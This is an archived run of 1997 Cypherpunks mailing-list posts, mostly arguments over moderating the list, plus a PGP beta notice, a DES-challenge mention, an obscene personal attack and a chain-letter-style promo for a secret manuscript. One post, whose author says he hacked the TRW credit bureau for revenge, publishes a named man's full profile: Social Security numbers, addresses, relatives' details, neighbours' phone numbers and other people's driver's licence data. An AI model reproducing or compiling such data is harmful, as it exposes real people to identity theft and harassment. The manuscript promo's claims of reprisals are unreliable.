And CypherPunks were merely a fitful glimpse of the future.

  In 1989 a document began quietly circulating in certain computer
circles--a document which whispered of fitful glimpses of the
future. The future of Bill Gates; the future of Phil Zimmerman;
the future of the CypherPunks.

  The document has, over the years, submerged for a time, and then
surfaced in different places. Whenever and wherever it surfaces,
strange things happen. Strange things for which there is always
a perfectly 'normal' explaination. Strange things which one sees
as normal unless, by chance, they should happen to notice that
somehow, in some subtle way, the flow of time has changed.

  A few weeks ago, a single copy of this document surfaced in the
possession of one of the Cypherpunks and, shortly thereafter, 
Dr. DV K was officially unSCUMscribed from this list.
  Less than two weeks ago, a copy of this document was acquired
by a second member of the CypherPunks and, shortly thereafter,
it was announced that the list will now be 'moderated'.
  Coincidence? It is a 'coincidence' that I have seen, time and 
again, in connection with this manuscript.

  You may think that this missive is a lark, or some kind of scam,
or for the feeble-minded.  I don't ask that you take what I say
seriously, only that you remember that the Tao doesn't shout,
it whispers.
  I have included, below, a warning that has circulated in regard
to the document which has preceded it in its undergroud passage
since the date of its inception, in 1989.
  Anyone who, after reading the warning, wishes to receive the
document can notify me via private email, and I will see to it
that you receive a copy.

Toto


WARNING! "The Xenix Chainsaw Massacre" Is A Very Dangerous Document
-------------------------------------------------------------------
	
  It is reputed among many of the top minds in the Computer Industry 
to be a very real, and revealing, documentary of some of the horrors 
of the Industry which are sometimes rumored, but seldom exposed.  
But be warned-they say it in private, not in public.
  Though management at the major Corporations in the Industry brush 
aside the document as the mad ramblings of an unstable, failed 
business executive, the fact remains that there are more and more 
people coming forward who claim to have suffered demotions or loss 
of employment after deliberately or inadvertently revealing their 
support of the document's claims and it's authenticity.

  If you choose to read this manuscript, do not speak of it in casual
conversation at your place of employment, or around strangers in 
any business or social environment.  Though it is almost impossible 
to document cases of reprisal of this nature, the increasing numbers 
of ex-employees of major Corporations in the Computer Industry 
making these claims, and the devastating consequences they allege 
to their professional and private lives, make it wise to be discreet 
in expressing any opinion, or even knowledge, of this document.
  If you choose to share this document with others, it would be wise 
to do so discreetly, even anonymously, should you be unsure of the 
reliability and discretion of whomever you choose to share this 
knowledge with.

  Though I personally lean toward viewing the manuscript as authentic, 
my exhaustive research into it's origin has always come to a dead-end, 
even among the principals involved.
  C.J. Parker, former President of Pearl Harbor Computers, Inc., denied
emphatically, in a face-to-face encounter, having anything whatsoever to 
do with the document.  When I pressed him with questions regarding 
the hasty demise of his business and the unraveling of his personal 
life after the public circulation of "The Xenix Chainsaw Massacre" 
began, he became very agitated and distraught, bordering on violence, 
and the interview was abruptly terminated.
  Dr. William M. Denney, one of the few principals in the manuscript 
referred to directly, was reluctant to be interviewed, but eventually 
made a few comments which I found to be very revealing.  Dr. Denney, 
Vice-President of Basis, Inc. in Emmeryville, Ca., consistently rated 
as one of the top ten Unix Open Systems vendors in the world, said, 
"I deny any knowledge of or participation, in any way whatsoever, 
with anything connected to 'The Xenix Chainsaw Massacre', and it 
would be wise for others to do the same."
  I find this statement to be very cryptic and, at the same time, 
very revealing; very much in line with what would expect from one 
associated with the alleged underground computer society described 
in the manuscript.
  As for Mr. Torry Basford, a former employee of Bell Labs who was 
Mr. Parker's first mentor in the world of Unix and is rumored to be 
laboring in obscurity in a small community college somewhere in the 
southwestern U.S., Mr. Parker would only say, "The man has suffered 
enough, please leave him alone."

 Regardless of the origins or authenticity of the document, it is 
considered by many to be extremely unsettling, perhaps even 
dangerous, and one might be better served to avoid reading the 
manuscript, if for no other reason than simple peace of mind.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Sat, 11 Jan 1997 03:00:14 -0800 (PST)
To: coderpunks@toad.com
Subject: PGPmail 4.5 (Win/32) - First Public Beta
Message-ID: <v03100d02aefd0b349a74@[192.187.167.52]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The first beta of the PGPmail 4.5 plugin (Win, 32-bit) is now available for
public experimentation. For further information, and to begin the export
controlled* download process, please point your web browsers at:

  <http://www.pgp.com/products/PGPmail-beta.cgi>

Your feedback on the software is welcome at the address listed on the
webpage. Thank you for your continued support!

   dave
                                 *Not for use outside the USA and Canada.

________________________________________________________________________
Dave Del Torto                                      +1.415.524.6231  tel
Digital Privacy Munitions Analyst                   +1.415.572.1932  fax
Pretty Good Privacy, Inc.                        http://www.pgp.com  web


-----BEGIN PGP SIGNATURE-----
Version: PGPmail 4.5b8

iQCVAwUBMtdsVKHBOF9KrwDlAQG6jAP8CKn8iDlzWTE0nYm7QumDR5wIVtnqCGRo
YO50odzYzuozKzzaTcB46c6ip0WXvc1sA/XC5/fcFHoiG9sQuZQp+UlrWLFWoLSF
cG/VuLjPVbL7Oav2vM/noqDQvhRhkPQbI1l/f/tyvL6KoUovchBeG2NV+gLWzPNn
a/MvF2QxuQM=
=xVx2
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sat, 11 Jan 1997 00:25:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: ElGamal
Message-ID: <199701110825.DAA21072@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


The arrival of warm weather is heralded by 
the pig shit (or whatever kind of shit Intel 
swines have for brains) getting soft in 
Timothy C[unt] May's mini-cranium and the 
resulting green slime seeping through his 
cocaine- and syphilis- damaged nose and onto 
his keyboard.

     )_(
    [@ @] Timothy C[unt] May
    |/ \|
     \O/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil se7en <se7en@dis.org>
Date: Sat, 11 Jan 1997 03:30:09 -0800 (PST)
To: dc-stuff@dis.org
Subject: Some People Just Never Learn
Message-ID: <Pine.BSI.3.91.970111031545.8640A-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



You know, I've been away for several weeks holed up with my new reading 
list busy learning all sorts of new stuff to increase my computer 
knowledge base. I haven't posted for several weeks, haven't said or done 
anything to anyone, yet one asshole just insists on fucking with me. 

He thought he was being tricky enough to think I wouldn't find out who he 
was, but I did. It wasn't too hard. I've tried to have some sympathy on this 
lamer in the past, but I can't anymore. So, in the tradition of what 
se7en is most famous for, that is for pulling outrageous stunts when 
least expected, I thought I would brighten his day up a little bit by 
hacking into TRW and running an extensive profile on him, and then post 
it for the world to see.

So here's to you Gambit...This ought to keep you distracted long enough! Now 
maybe I can go back to my reading list and fade back into obscurity.

XOXOXO!

se7en



ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·
º                              Individual Profile                              º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º                                KANE R MARLOW                                 º
º                   DOB:            Age:      SSN: 548-27-5143                 º
º        SS#:548-27-5143 Was issued in California between 1973 and 1974        º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º                                   Residence                                  º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º Address:   1535 SLATER ST                                                    º
º            SANTA ROSA, CA 95404                    Phone:                    º
º            SONOMA County                          Status:                    º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º                           Others at Primary Address                          º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º   MARLENE AGNEW                                                              º
º   JAN BLAKEMAN                 553-96-9520                                   º
º   PHYLLIS C CONWAY             516-72-2032                                   º
º   MITCH DELGADO                                                              º
º   LISA DJONNE                                                                º
   REGINA DUNHAM                                                              
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ1/4



                                                                                
     Request Criteria                                                           
     ----------------                                                           
     SS No :548-27-5143                                                         
                                                                                
     Returned Results                                                           
     ----------------                                                           
     MARLOW, KANE R                                    Year Born : 1973         
     SS#:548-27-5143 Was issued in California between 1973 and 1974             
                                                                                
     AKA                                                                        
     ---                                                                        
     MARLOW, KANE RYAN                                                          
                                                                                
     Known Addresses for Subject                                                
     ---------------------------                                                
     JUN-95/APR-96  -  1535 SLATER ST  SANTA ROSA CA 95404                      
     OCT-94/OCT-94  -  6851 CAROL DR APT 12  SEBASTOPOL CA 95472                
     FEB-94/JUL-94  -  GENERAL DELIVERY  SANTA ROSA CA 95402                    
     JAN-94/JAN-94  -  0 GENERAL DELIVERY  SANTA ROSA CA 95402                  
     APR-93/APR-93  -  118 W ST 135  RENO NV 89501                              
                       2301 GRAVENSTEIN HWY  SEBASTOPOL CA 95472                
                                                                                
****** No additional telephone listings for:                                    
       1535 SLATER ST  SANTA ROSA CA 95404                                      
                                                                                
Neighbors for: 1535 SLATER ST  SANTA ROSA CA 95404                              
--------------------------------------------------                              
     STIFFLER PAUL & BRENDA            1530 SLATER ST             (707)528-4398 
     TOBIN TOD                         1555 SLATER ST             (707)544-9411 
     HALBUR DAVE                       1560 SLATER ST             (707)544-9967 
     NAVE JANET L                      1560 SLATER ST APT 1       (707)546-3781 
     RUSSELL ROCHELLE K                1604 SLATER ST             (707)544-9638 
     MT TAYLOR CHILDRENS CENTER        1451 SLATER ST             (707)576-0773 
     MULLNER FRANK                     1450 SLATER ST             (707)542-5333 
     SALUDES T                         1625 SLATER ST             (707)576-8179 
     SMITH MARK                        1625 SLATER ST APT 2       (707)579-5860 
     SHECKLER BERT                     1644 SLATER ST             (707)525-0370 
     BANKERT M                         1645 SLATER ST             (707)523-4825 
     PAUL ROBERT L                     1650 SLATER ST             (707)579-0186 
     ORCHARD ROGER                     1661 SLATER ST             (707)544-9941 
     LOPEZ IRENE                       1320 SLATER ST             (707)545-6431 
     WOLD ERIC                         1300 SLATER ST             (707)579-3307 
     MURRAY A                          1135 SLATER ST             (707)528-8218 
     MORALES ALEJANDRO                 1135 SLATER ST             (707)546-5175 
     MARTIN ANTHONY                    1135 SLATER ST             (707)576-7673 
     STRONG MATT                       1132 SLATER ST             (707)575-5694 
     WALSH JAMES J                     1130 SLATER ST             (707)578-3592 
     -------------------------------------------------------------------------- 
                                                                                
Telephone listings for: 6851 CAROL DR APT 12  SEBASTOPOL CA 95472               
-----------------------------------------------------------------               
     BURGESS THERESA                   6851 CAROL DR              (707)823-9226 
     CEJA GONZALO                      6851 CAROL DR              (707)829-5143 
     GARCIA JOSE                       6851 CAROL DR              (707)823-9384 
     WINKELBAUER KELLY                 6851 CAROL DR              (707)829-5964 
     -------------------------------------------------------------------------- 
                                                                                
Neighbors for: 6851 CAROL DR APT 12  SEBASTOPOL CA 95472                        
--------------------------------------------------------                        
     BUSTILLOZ CONNIE                  6850 CAROL DR              (707)823-6388 
     FURR BETTY L                      6755 CAROL DR              (707)823-2168 
     FETHERSTON DAVID & GLORIA         6701 CAROL DR              (707)823-7358 
     -------------------------------------------------------------------------- 
                                                                                
****** No additional telephone listings for:                                    
       GENERAL DELIVERY  SANTA ROSA CA 95402                                    
****** No Neighbors for:                                                        
       GENERAL DELIVERY  SANTA ROSA CA 95402                                    
                                                                                
****** No additional telephone listings for:                                    
       0 GENERAL DELIVERY  SANTA ROSA CA 95402                                  
****** No Neighbors for:                                                        
       0 GENERAL DELIVERY  SANTA ROSA CA 95402                                  
                                                                                
Telephone listings for: 118 W ST 135  RENO NV 89501                             
---------------------------------------------------                             
     BROWN RAY                         118 WEST ST                (702)323-4632 
     DVORAK ANN                        118 WEST ST                (702)348-7807 
     HENDERSON LLOYD                   118 WEST ST                (702)322-4033 
     MCPAUL KAREN G                    118 WEST ST                (702)348-4631 
     NICHOLS TONY                      118 WEST ST                (702)322-0966 
     ROSS MANOR HOTEL APARTMENTS       118 WEST ST                (702)323-3044 
     WONG RAYMOND K F                  118 WEST ST                (702)322-7201 
     -------------------------------------------------------------------------- 
                                                                                
Neighbors for: 118 W ST 135  RENO NV 89501                                      
------------------------------------------                                      
     PLAZA RESORT CLUB                 121 WEST ST                (702)786-2200 
     LAVECCHIA VARESE RESTAURANT       130 WEST ST                (702)322-7486 
     FIVE STAR SALOON                  132 WEST ST                (702)329-2878 
     -------------------------------------------------------------------------- 
                                                                                
****** No additional telephone listings for:                                    
       2301 GRAVENSTEIN HWY  SEBASTOPOL CA 95472                                
                                                                                
Neighbors for: 2301 GRAVENSTEIN HWY  SEBASTOPOL CA 95472                        
--------------------------------------------------------                        
     DIFRANCO FENCE CO                 1830 GRAVENSTEIN HIGHWAY   (707)578-3080 
     STAR VIDEO SEBASTOPOL             3195 GRAVENSTEIN HWY       (707)823-3381 
     DISCOUNT ALLEY FAX                1382 GRAVENSTEIN HWY       (707)823-7044 
     DISCOUNT ALLEY                    1382 GRAVENSTEIN HWY       (707)823-1584 
     SEBASTOPOL DESIGN CENTER FLOORIN  1225 GRAVENSTEIN HWY       (707)823-2196 
     FIESTA CLEANERS                   580 GRAVENSTEIN HWY N      (707)823-0260 
     LABLUE CLEANERS                   580 GRAVENSTEIN HWY N      (707)527-5368 
     LABLUES CLEANERS                  580 GRAVENSTEIN HWY N      (707)823-0260 
     FIESTA PHARMACY                   560 GRAVENSTEIN HWY N      (707)823-7636 
     BUONA PASTA                       550 GRAVENSTEIN HWY N      (707)829-0776 
     FIESTA MARKET SEBASTOPOL GROCERY  550 GRAVENSTEIN HWY N      (707)823-9735 
     FIESTA MARKET SEBASTOPOL MEAT     550 GRAVENSTEIN HWY N      (707)823-4916 
     MOHAR INC                         550 GRAVENSTEIN HWY N      (707)823-1418 
     LONG JACK VMD FORESTVILLE VETERI  5033 GRAVENSTEIN HIGHWAY   (707)823-7312 
     -------------------------------------------------------------------------- 
                                                                                
****** NO PILOT LICENSE FOUND ******                                            
****** NO AIRCRAFT FOUND ******                                                 
****** NO DOCUMENTED VESSELS FOUND ******                                       
                                                                                
=============================================================================== 



KANE R MARLOW                                               Year Born: 1973

SS#:548-27-5143 Was issued in California between 1973 and 1974



Known Addresses For Subject
---------------------------
   JUN-95/APR-96 - 1535 SLATER ST  SANTA ROSA CA 95404
   OCT-94/OCT-94 - 6851 CAROL DR 12  SEBASTOPOL CA 95472
                   2301 GRAVENSTEIN HWY  SEBASTOPOL CA 95472
                   118 W ST 135  RENO NV 89501
                   GENERAL DELIVERY  SANTA ROSA CA 95402



Possible Property Ownership
---------------------------
   ** No Property Found during Search **



Telephone Listings for Subject Addresses
----------------------------------------
   6851 CAROL DR, SEBASTOPOL CA 95472
   ----------------------------------
      BURGESS THERESA           (707)823-9226
      CEJA GONZALO              (707)829-5143
      GARCIA JOSE               (707)823-9384
      WINKELBAUER KELLY         (707)829-5964


   118 W ST, RENO NV 89501
   -----------------------
      BROWN RAY                 (702)323-4632
      DVORAK ANN                (702)348-7807
      HENDERSON LLOYD           (702)322-4033
      MCPAUL KAREN G            (702)348-4631
      NICHOLS TONY              (702)322-0966
      ROSS MANOR HOTEL APARTMEN (702)323-3044
      WONG RAYMOND K F          (702)322-7201



Relatives (* - denotes address match with Subject)
--------------------------------------------------
   MARLOW, SHARON                                              DOB: 12/43
     Possible AKA: MARLOW, SHARON T          SS#: 546-64-7017
     SS#:546-64-7017 Was issued in California between 1961 and 1962


       NOV-95/NOV-95 - 2301 GRAVENSTEIN HWY S SEBASTOPOL CA 95472-
       NOV-95/NOV-95 - 7017 FELLERS LN SEBASTOPOL CA 95472
       MAR-94/MAR-94 - 2301 S GRAVENSTEIN HWY SEBASTOPOL CA 95472
                       PO BOX 2983 SANTA ROSA CA 95405
                       101 BOAS DR 35 SANTA ROSA CA 95409
                       431 BEAVER ST SANTA ROSA CA 95404
                       *2301 GRAVENSTEIN HWY SEBASTOPOL CA 95472
                       802 BRIGHAM AVE SANTA ROSA CA 95404


   MARLOW, JOHN


                       PO BOX 2983 SANTA ROSA CA 95405
                       101 BOAS DR 35 SANTA ROSA CA 95409



Possible Drivers At Subject's Addresses
---------------------------------------
   1535 SLATER ST  SANTA ROSA CA 95404
   -----------------------------------
     ** No Drivers Found At This Address**


   6851 CAROL DR 12  SEBASTOPOL CA 95472
   -------------------------------------
     ** No Drivers Found At This Address**


   2301 GRAVENSTEIN HWY  SEBASTOPOL CA 95472
   -----------------------------------------
     ** No Drivers Found At This Address**


   118 W ST 135  RENO NV 89501
   ---------------------------
     ** No Drivers Found At This Address**


   GENERAL DELIVERY  SANTA ROSA CA 95402
   -------------------------------------
     AARON P BAILEY
        DL# 480063399 issued in IOWA on  7/20/94  expires 12/31/97
        DOB 12/31/70  6'03"  190lb  HAZEL Eyes


     JAMES A CAMPBELL
        DL# 480063952 issued in IOWA on  4/04/95  expires 11/15/97
        DOB 11/15/69  6'01"  190lb  BLUE Eyes


     KRISTINE E BAILEY
        DL# 484844318 issued in IOWA on  4/06/94  expires  4/06/96
        DOB  4/06/74  5'03"  110lb  BLUE Eyes


     HOUSTON C HUNT
        DL# 5506844 issued in OREGON
        DOB 11/10/26  5'11"  160lb


     WALTER R WOOD
        DL# 5683444 issued in OREGON
        DOB  2/21/65  5'11"  214lb


     CHARLES E BERNER
        DL# 8725850 issued in OREGON
        DOB  8/08/63  6'01"  190lb





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 10 Jan 1997 19:34:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Robert Moskowitz, Jon Michael Zimmerman, Geoffrey Leon Shapiro
Message-ID: <19970111033243.9265.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Who are these people?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 01:39:04 -0800 (PST)
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <32D77C39.754D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
> Is the goal really to be a "best of cypherpunks," or is it just to cut out the
> most inane trolling (of which there is a lot)? While I'd classify Dale's posts
> as among "worst of cypherpunks," IMO they are all at least *of* cypherpunks.
 
> I just want the complete crap out of the way. I was envisioning a mostly
> unfiltered cypherpunks where the traffic level remained so high that the
> filtered "best of" lists like fcpunx were still in demand.

Rich,
 I totally agree with you.

 I sometimes drop a private email to someone, commenting on how much I
enjoyed one of their posts, or complimenting them on presenting what
they had to say clearly and concisely enough that even a numbskull
such as myself could understand it.  Often, after sending it, I will
realize it is the same guy I lambasted a few days earlier for being
such a shithole-idiot-dweeb in one of his postings.

 Personally, I find it amazing that it seems to be those who are most
enamored of themselves as the serious, cypto-elite of the list who 
are the least cognizant of how silly they appear (to me) in begging
for some mother-hen/higher-authority to make the 'bad kids' sit still
in their seats.
 I find it absolutely astounding, as well, that I am sitting here 
watching the same process take place on this list that everyone
here seems to be so terribly fired-up about when it happens in
the world outside of this list. (Some 'outsider' tweaks the nose of
our ambassador and, suddenly, we are firing on the citizens in order
to defend our flag.)

 Dale, as you point out, didn't 'sneak under the fence' in the middle
of the night. He is a member of this list who has contributed more 
than a few posts that I have saved or printed out (and filed beside
those of some who are already building a scaffold for him in their
minds).
 I am disgusted by some of the behavior and self-righteous missives
of some of the people who lay claim to be of superior stature to 
Dale in this conference, but who act either like children, or like
a pack of rabid dogs in expressing their profound belief that 
they are somehow aligned with the force of 'righteousness' that 
will slay the 'evil' ones on this list.
  (Your days are numbered/You're history, pal/etc.)
 I was particularly dismayed at seeing Ray Archelian, whom I have
developed a certain amount of respect for, stooping to 'jack off'
in Dale's face, so to speak.

  Lastly, I find it totally ludicrous that people who purport to be
beings of 'reason' are babbling on and on about 'votes' of confidence,
etc., on a matter that was determined and announced without asking 
for any kind of approval on their part, and laying out complicated
'systems' and 'future scenarios' for placing all of the missives in
restricted, cypher-politically correct boxes.
  To tell the truth, given all of the 'shifted-reality' postings 
since the 'announcement', if I see a question on the list as to
whether or not a posting is acceptable if it says, "John Gilmore
is a cocksucker." in 'binary'...
   Well, I would be hard pressed to figure out if it was meant as 
humor or as a serious question.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 02:40:50 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Igor / Hero or Villain?
In-Reply-To: <199701110345.VAA02052@manifold.algebra.com>
Message-ID: <32D77EEE.425A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Does not the moderated list, moderated by YOU, already exist?
> I am confused.

> It is indeed suspicious because it raises a possibility of
> concealed human involvement.

> That's a non-answer.

Igor,
 Some days I print your postings and file them away for future 
reference. Other days, I want to cyber-shoot your sorry ass.
 Either way, I regard you as a valuable member of CypherPunks
for the reason that you're not about to lay down on the tracks
and let the train run over you, just because of a 'purported'
goal of protecting you from the 'bad' people.
 History has taught us that when the witch-hunt starts, everyone
with a broom is suspect.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 02:38:53 -0800 (PST)
To: Against Moderation <antimod@nym.alias.net>
Subject: Secret Agenda?
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <32D78420.56D6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:

AM,
 The points you raise below are valid ones, as opposed to some of the
perceived 'parting shots' by those 'voting' for moderation in 
anticipation of the Iron Boot descending (on 'others', of course).
 I find it interesting that you keep refering to 'not understanding'
some of the purported reasons behind the proposed system. I am
finding myself getting the feeling that there is some underlying
future purpose or direction behind the 'changes' that is not being
fully revealed.
 Perhaps my sense of smell is declining in my old-age, but I'm getting
an odor that doesn't match with the dinner menu that has been 
announced.

Toto
> 10-30 minutes is potentially far less than it would take.  What about
> mail that arrives in the middle of the night, or what if all the
> moderators are away or busy.

> If you add delay before secondary moderators can even
> get the stuff, you are unfairly penalizing those who use a better or
> more efficient filtering scheme

> Fine for those who want the moderation, but why are you forcing
> everyone to use this scheme?
> 
> There are plenty of moderation schemes that are way more cypherpunk
> than one central moderation authority.
>  But why not let those of us who write code experiment with other 
ways of moderating the list?  Please.
> 
> What does it cost anyone to have a separate mailing list which
> immediately gets all cypherpunks submissions?  The only argument
> against this is "load", but that doesn't make sense.
> 
> More importantly, if some significant number of people really do want
> to subscribe to cypherpunks-raw (as in enough that you would even
> start to think about load), then maybe centralized moderation is not
> the way to go.
> 
> What is the advantage of not having a cypherpunks-raw?  I just don't
> understand it.  It costs you nothing, it shows your willingness to
> compete with other moderators or moderation schemes, and it will make
> people a lot more confident that you aren't suppressing some messages
> from cypherpunks-flames list.
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 02:39:05 -0800 (PST)
To: Clint Barnett <cbarnett@eciad.bc.ca>
Subject: Re: nice work
In-Reply-To: <Pine.SGI.3.91.970110193238.26380P-100000@oswald>
Message-ID: <32D78860.12B3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Clint Barnett wrote:
> 
> no doubt everybody on the list recieved a spam about some personalised
> children's books. Having been away or a few weeks, I only just today got
> to replying to that message. I recieved a response indicating that my
> response was undeliverable due to the mailbox being full. I just wanted
> to say that I'm glad I'm not the only one who can't stand that crap. Nice
> work.

  Damn straight!
  The Reply button can be a dangerous instrument in the right hands.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 10 Jan 1997 22:07:46 -0800 (PST)
To: Ray Arachelian <sandfort@crl.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <19970111060735.2441.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:

> > 3. Not making the unmoderated list first-up (i.e., cutting posts first,
> >    then making the "full" list available later) is suspicious, or at
> >    least a bad idea.
> 
> What difference does it make if a message is delayed for 10-30 minutes?  
> Why is it a bad idea or suspicious?  If you post something and it doesn't 
> make it at all, you can complain about it.  Is that what you fear?

10-30 minutes is potentially far less than it would take.  What about
mail that arrives in the middle of the night, or what if all the
moderators are away or busy.

If you really want to filter cypherpunks@toad.com by default, fine.
But is it too much to ask for those of us who don't want the filtering
to request an unmoderated, undelayed list, with all headers intact
(someone had suggested Approved headers be removed)?

Remember, other people may want to run differently moderated versions
of the list.  If you add delay before secondary moderators can even
get the stuff, you are unfairly penalizing those who use a better or
more efficient filtering scheme, because those people will have to
wait for the central authorities' moderation decisions before even
their own moderators or auto-moderators get ahold of messages.

> The point was to optimize the sendmail to send moderated messages first.

Fine for those who want the moderation, but why are you forcing
everyone to use this scheme?

There are plenty of moderation schemes that are way more cypherpunk
than one central moderation authority.  NoCeM is one great example.
Obviously some people don't have the right software to experiment with
this--fine they can subscribe to a centrally moderated list.  But why
not let those of us who write code experiment with other ways of
moderating the list?  Please.

What does it cost anyone to have a separate mailing list which
immediately gets all cypherpunks submissions?  The only argument
against this is "load", but that doesn't make sense.  First of all, if
someone subscribes to cypherpunks-raw instead of cypherpunks and
cypherpunks-flames, the total number of messages is the same, and the
amount of bandwith you might lose to split mult-RCPT messages is
negligiable (and could easily be recouped by switching mailers, though
that shouldn't even be necessary).

More importantly, if some significant number of people really do want
to subscribe to cypherpunks-raw (as in enough that you would even
start to think about load), then maybe centralized moderation is not
the way to go.

What is the advantage of not having a cypherpunks-raw?  I just don't
understand it.  It costs you nothing, it shows your willingness to
compete with other moderators or moderation schemes, and it will make
people a lot more confident that you aren't suppressing some messages
from cypherpunks-flames list.

If for some reason load really is the problem (though I can't see
how), then can you set some maximum number of subscribers you would be
willing to mail cypherpunks-raw to?  I mean 50 people shouldn't be
that big a deal, right?  And if more than 50 want to subscribe and you
think toad can't handle the load, I will run a mail exploder on a
different machine.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 11 Jan 1997 04:29:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES Crack Challenge
Message-ID: <Chameleon.852985398.amp@tx86-8>
MIME-Version: 1.0
Content-Type: text/plain


It appears that RSA has posted the rules and some test cyper/plaintext for the DES 
(and other) crack challenges. 

see http://www.rsa.com/rsalabs/97challenge/ 
for more information.

I've got a few workstations ready to throw at this. It ought to be fun.


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 01/11/97
Time: 06:20:17
Visit http://www.public-action.com/SkyWriter/WacoMuseum

'Drug Trafficking Offense' is the root passphrase to the Constitution.
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 06:40:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970110201859.006d14bc@192.100.81.126>
Message-ID: <aceD1D57w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> writes:

> At 07:14 PM 1/10/97 -0500, Ray Arachelian wrote:
> >Sandfort isn't the only one who will do this, there will be a pool of
> >moderators. Regardless of your personality conflict, I am sure that Sandy
> >will remain fair and allow appropriate posts from you through. i.e.
> >anything to do with crypto. :)
>
> Just for the record, I have volunteered to serve as a co-moderator. ...

As a moderator, Plucky would certainly approve his own articles.
In fact, anything he submits would be approved automatically.
In this one he goes on to write:

> As with every TAZ that stays up for too long, Cypherpunks eventually got
> infested by vermin. Vulis, aga, et al. come to mind. In my experience, once
> that happens there is only one solution: take down the TAZ and start over
> somewhere else. ...

If I were to say, "I am not vermin", my response would be rejected by the
moderator(s) as being off-topic.

> [Since I filter on Vulis and aga in the body text of all incoming email, I
> am unlikely to read any replies to this post. ...

Therefore, Plucky Green (who by the way posts on news.admin.net-abuse.* and
